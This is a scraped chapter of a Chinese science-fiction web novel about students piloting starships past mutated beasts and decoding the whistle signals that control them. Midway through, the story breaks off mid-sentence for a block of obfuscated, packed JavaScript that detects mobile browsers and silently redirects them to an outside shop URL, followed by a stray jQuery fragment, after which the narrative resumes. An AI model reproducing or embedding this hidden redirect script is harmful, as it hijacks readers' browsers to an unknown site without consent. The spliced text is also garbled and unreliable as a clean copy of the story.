老师靠在讲台边沿看了书念一会儿,点了一下头,把那颗蓝色圆点的位置朝右上方移了一小格:“有道理。如果被包围到没有退路的时候,有时候主动踏入错误的路线反而能抄到近路。当包围圈已经形成,向外冲撞和向内退缩都会消耗同样多的体力,那为什么不选一个对方认为你不会选的方向呢?可是这样也衍生了一个新的问题:应该怎么向外冲撞。”
书念:“如果实力保存较为完整,拉锯战是最好的办法。”
“撞东北角!”
常见云一咬牙,撞了上去。
“东南角!”
常见云大喊:“栗霜痕,你遛狗呢?!”
但她还是控制着星舰撞上去。
“最后一次用全力,西北角!”
撞……撞开了——!
老师:“书念同学回答的非常好,原理其实是像无头苍蝇一样乱撞,但保留实力,让对方放松警惕,时刻观察包围圈的哪个方位是真正的空缺口。
但这种办法仅适用于应对大批异化兽或者对方并未有作战经验丰富的领导者的情况下,如果遇到有着丰富作战经验的战斗者,使用这种方法是很危急的。”
比书念稍大一点的一个雌性幼崽举手:“老师,我觉得可以直接从空中逃走,一般联邦作战者都拥有军舰,如果只是遇到异化兽形成包围圈,有无数种解法。”
联邦从不缺少天才,只是缺少可以实战的天才。
老师了然地点点头。
每一届都有灵气,却从不会出现太过于拔尖的存在。
除了……常见云。
常见云太过于完美了,导致她总是一直遗憾常见云为什么偏偏没有被命运眷顾,没有拥有攻击性精神力。
只是控制而已吗?
那也太限制她了。
那艘银白色星舰在第三次撞击之后,前端外壳上多了一道浅浅的凹痕。
常见云的手搭在控制板上没有松开,她的呼吸比平时快了一些,眼眸奇异地闪着光。
星舰在最后一次撞击后从西北角的缺口冲了出去,周围的暗红色瞳孔在她们身侧快速向后退去。
果然,实战就是和理论不一样。
按理说,这样简单的突围策略,她学过无数次,甚至可以随口背出来。
但是……刚才情况太过危急她那时竟然没有想到。
原来……可以这样。
讲台上的老师开口:“每届都有灵气充沛的学员,但真正能走到实战层面的很少。这也是联邦一直头疼的问题,雌性的精神力大部分为安抚性,只有少部分为控制系,而攻击系更是少之又少。”
书念抬手,白色的精神力在指尖流窜。
原来,她的精神力很罕见吗?
控制系精神力。
老师默默看向书念,神色平静。
书念的精神力似乎不是简单的控制系。
察觉到危机解除,常见云的手指在控制板上轻轻敲了两下,靠在椅背上,哼了一小段调子。
栗霜痕靠在副驾驶座上,随口说了一句:“挺好听的。”
常见云的哼唱声停住了。
她偏过头来看了栗霜痕一眼,表情里带着防备,“你突然来这么一句,我鸡皮疙瘩都起来了。”
栗霜痕的目光在那片区域停了一会儿,然后她开口,“真正的据点可能就在那里。但外围有那么多异化兽守着,不可能偷偷溜进去。”
常见云顺着她的视线看过去,“如果进不去——那就让它们自己把门打开。”
栗霜痕偏过头来看她,等她说下去。
“异化兽的数量虽然多,但如果它们是人为豢养的,那就一定存在某种统一的指令接收方式。豢养组织不可能靠人力去指挥每一只异化兽的行动,它们之间必然有一条共享的指令通道——可能通过某些固定频率的声音信号,或者某种能被它们共同感知的精神力脉冲。”
栗霜痕靠在椅背上,目光落在常见云的侧脸上,“你肯定是联邦总部学校优秀毕业生。”
常见云听到,没什么反应,只是把光脑调出来,指尖在屏幕上快速划了几下,调出一段已经被她预先截取过的音频波形图。
那条波形图的线条不算规则,但在某些间隔处重复着相似的起伏,像一段被反复播放的短促旋律,在频谱图上留下了可以被识别的痕迹。
“刚才那阵哨声,”她把光脑翻过来朝向栗霜痕的方向,“它不只是用来驱动异化兽发动攻击的,它也包含了一段特定频率的信号,可能是用来让它们从狂暴状态恢复、或者是用来触发某种暂停指令的。”
栗霜痕低头看着那段音频波形图上那些重复出现的起伏,没有立刻说话。
“如果我们能找到那种暂停指令的频率,用更精确的方式复制并投射到异化兽群中——”常见云的手指在波形图上标出了一段标记,“那么它们就有可能因为信号冲突而出现短暂的混乱。不需要太久,哪怕只有几十秒,就足够我们从那个缺口通过一次。”
栗霜痕把目光从光脑屏幕上抬起来,“如果信号冲突没有触发预期反应,反而让它们因为干扰而变得更加混乱,导致缺口并没有被打开,我们用什么方法来确保还能全身而退?”
常见云把光脑合上,很认真地说:“如果你被困住了,我会先用精神力给你开路。如果这条路无效,我会直接带着你安全退出。”
栗霜痕也没瞒着常见云:“我可以模仿刚才的哨声七七八八,但不知道异化兽到底是依据哨声行动,还是哨声里代表的精神力……”
常见云:“试试不就知道了。”
栗霜痕笑了:“你真是一个理论方面的天才。”
“你更是一个天才。”
栗霜痕摇头。
她不是天才。
上辈子她没有异能,这辈子她没有精神力,无论怎么评判,她都是一个不在及格线上的人。
她只是力气比较大一些。
她无法适应这个世界,其实荒星这几天,她感觉比平时更加安全。
她可能习惯了战斗,所以还是无法平稳接受并不那么确定的安全。
她之所以是小队长,是因为在其他人眼中,她的“异能”实在太超过了。
可以徒手掏晶核的异能,听起来很酷。
她那时没有办法。
她那时真的要饿死了。
她那时候已经不算小孩子了,十六岁,在当时已经算成年了。
而没有异能的成年人,除了祈求异能可以快点降临到她身上,没有任何办法。
她开始忌恨那些拥有异能的人。
自卑滋生了忌恨,然后在意识到真切的差距后滋生了更为强烈的自卑。
假装有异能,是她唯一可以活下去的办法。
没想到这么一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760685|209264||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
装,就装到她死去,装到其他人以为她失去了异能。
她每时每刻都是忌恨,忌恨其他人拥有异能她偏偏没有,忌恨其他人总是轻松拥有了她渴望的异能。
但那些忌恨随着时间,慢慢变淡了。
有异能原来不仅意味着要吃饱,原来吃饱的代价那么大。
大到无数次愿意为此去死。
星舰在空中划出一道短促的弧线,重新回到那片低洼区域的边缘。
栗霜痕侧身靠在舱门边,只是低头看着下方那些正在逐渐聚拢的异化兽。
常见云坐在驾驶座上,手指搭在控制板的边缘,紧紧盯着栗霜痕。
栗霜痕动了一下,直接朝地面投下了一块从星舰储物舱里翻出来的废弃金属板。
那块板子在空中翻转了几圈,砸在砂砾地面上,发出一声沉闷的钝响。
异化兽在声响传开的方向快速聚拢过来,向着金属板落地的位置集中靠拢。
栗霜痕从舱门边缘探出半边身体,朝着那片正在聚拢的暗红色瞳孔的方向,发出了一声短促而尖锐的口哨。
哨声在夜色中传出去,在断壁残垣之间碰撞了几下,然后在远处被扩散。
下方那些正在朝金属板靠拢的异化兽在听到哨声的瞬间停下了移动。
它们停顿了大约两到三秒,像在接受某种信号。
然后,一道更悠长的、从更远处传来的哨声回应了它们。
常见云的手已经按上了采集板的触控面。
音频波形在她的屏幕上快速滚动着,她指尖迅速扫过那个节奏间隔,眼神专注地捕捉着波形图上重复出现的起伏节点,逐一记下它们在频谱上的位置和间距。
她头也不抬:“可以了。”
栗霜痕收回身,把舱门合拢了一半:“撤。”
星舰开始加速。
常见云从采集板上抬起目光,指尖落在屏幕上那段已经被截取的波形图上,手指沿着波形图的边缘轻轻划了一下,把那些重复出现的间距标记出来。
“我需要一点时间来处理这段数据。”
“好的。”
栗霜痕没有打扰她,她只是保持着航向,把星舰维持在低空匀速的状态。
前方的烟尘比刚才淡了一些,地平线上出现了一道细长的亮线,正在缓慢地横向移动。
她微微调整了航向,让星舰顺着那道亮线延伸的方向偏转了一个小角度,然后她注意到了一个正在视野中逐渐变大的轮廓。
那是一艘星舰。
通体银白色。
好眼熟。
距离缩短的速度比预期中要快。
栗霜痕只好控制着星舰偏转,但银白色星舰也在同时轻微偏转,两艘星舰的航向交叉点在那道交错的范围内被压缩到了最近的距离。
两个星舰在低空中彼此擦过,发出一声被压缩到极限的金属摩擦响。
常见云的手指在那声响传来的瞬间在采集板上顿了一下,但她没有抬头,只是把那段被标记好的波形图保存了,然后把采集板合拢放在膝盖上。
银白色星舰的舱门在接触发生后的几秒内打开了。
一个人影从舱门边缘探出来,银灰色的瞳孔,粉色的发尾。
他靠在舱门边框上,姿态随意,像一只刚刚被扰动了睡意的大型猫科动物。
“栗小姐——你这是在碰瓷我吗?”